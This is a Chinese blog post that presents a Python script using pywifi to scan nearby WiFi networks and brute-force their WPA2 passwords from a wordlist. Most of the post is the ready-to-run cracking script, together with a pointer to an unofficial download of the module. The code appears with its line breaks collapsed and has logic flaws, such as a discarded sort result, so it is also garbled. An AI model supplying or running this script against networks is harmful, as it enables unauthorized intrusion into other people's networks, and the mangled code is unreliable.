Python利用字典破解WIFI密码的方法
Python  /  管理员 发布于 7年前   206
最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5
既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。
有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。
链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安装方法:
1)下载解压好以后,我们用cmd命令行,进入到你的文件目录
2)使用命令pip install . 注意了(install后面有个点)
3)然后就会安装了,等一会就可以了。
程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。
import pywififrom pywifi import const #引用一些定义import timenamelist = []ssidlist = []result = [] #存放查询到的WIFI,密码wificount=5 #查询附近信号最强的5个WIFI,最多5个def getwifi(): wifi=pywifi.PyWiFi()#抓取网卡接口 ifaces=wifi.interfaces()[0]#获取网卡 ifaces.scan() time.sleep(8) bessis = ifaces.scan_results() list = [] for data in bessis: if(data.ssid not in namelist): #去掉重复的WIFI名称 namelist.append(data.ssid) list.append((data.ssid, data.signal)) sorted(list, key=lambda st: st[1], reverse=True) time.sleep(1) n=0 if len(list) is not 0: for item in list: if(item[0] not in ssidlist): n=n+1 if n<=wificount: ssidlist.append(item[0]) print(ssidlist)def testwifi(ssidname,password): wifi=pywifi.PyWiFi()#抓取网卡接口 ifaces=wifi.interfaces()[0]#获取网卡 ifaces.disconnect()#断开无限网卡连接 profile=pywifi.Profile()#创建wifi连接文件 profile.ssid=ssidname#定义wifissid profile.auth=const.AUTH_ALG_OPEN#网卡的开放 profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 profile.cipher=const.CIPHER_TYPE_CCMP##加密单元 profile.key=password #wifi密码 ifaces.remove_all_network_profiles()#删除其他所有配置文件 tmp_profile=ifaces.add_network_profile(profile)#加载配置文件 ifaces.connect(tmp_profile)#连接wifi time.sleep(5)#5秒内能否连接上 if ifaces.status()==const.IFACE_CONNECTED: return True else: #print("[-]WiFi connection failure!") return False #ifaces.disconnect()#断开连接 #time.sleep(1) return Truedef main(): getwifi() #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。 if(len(ssidlist) is not 0): path=r"password.txt" files=open(path,'r') while True: if(len(ssidlist) is 0): break try: password =files.readline() password=password.strip('\n') if not password:break for item in result: #把已经找到密码的WIFI从查询中删除。ssidlist.remove(item[0]) for ssidname in ssidlist: if(testwifi(ssidname,password)==True): result.append((ssidname,password)) #把找到的WIFI密码保存起来 print('Succ','Current WifiName:',ssidname,'Current Password:',password)else: print('Fail','Current WifiName:',ssidname,'Current Password:',password) except: continue files.close() print("\n","WIFI结果列表:") for item in result: #把已经找到密码的WIFI从查询中删除。 print("") print("无线:",item[0]) print("密码:",item[1]) else: print("没有找到WIFI信号,请重试。")if __name__ == '__main__': main()
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家的支持。如果你想了解更多相关内容请查看下面相关链接
122 在
学历:一种延缓就业设计,生活需求下的权衡之选中评论 工作几年后,报名考研了,到现在还没认真学习备考,迷茫中。作为一名北漂互联网打工人..123 在
Clash for Windows作者删库跑路了,github已404中评论 按理说只要你在国内,所有的流量进出都在监控范围内,不管你怎么隐藏也没用,想搞你分..原梓番博客 在
在Laravel框架中使用模型Model分表最简单的方法中评论 好久好久都没看友情链接申请了,今天刚看,已经添加。..博主 在
佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 @1111老铁这个不行了,可以看看近期评论的其他文章..1111 在
佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 网站不能打开,博主百忙中能否发个APP下载链接,佛跳墙或极光..
Copyright·© 2019 侯体宗版权所有·
粤ICP备20027696号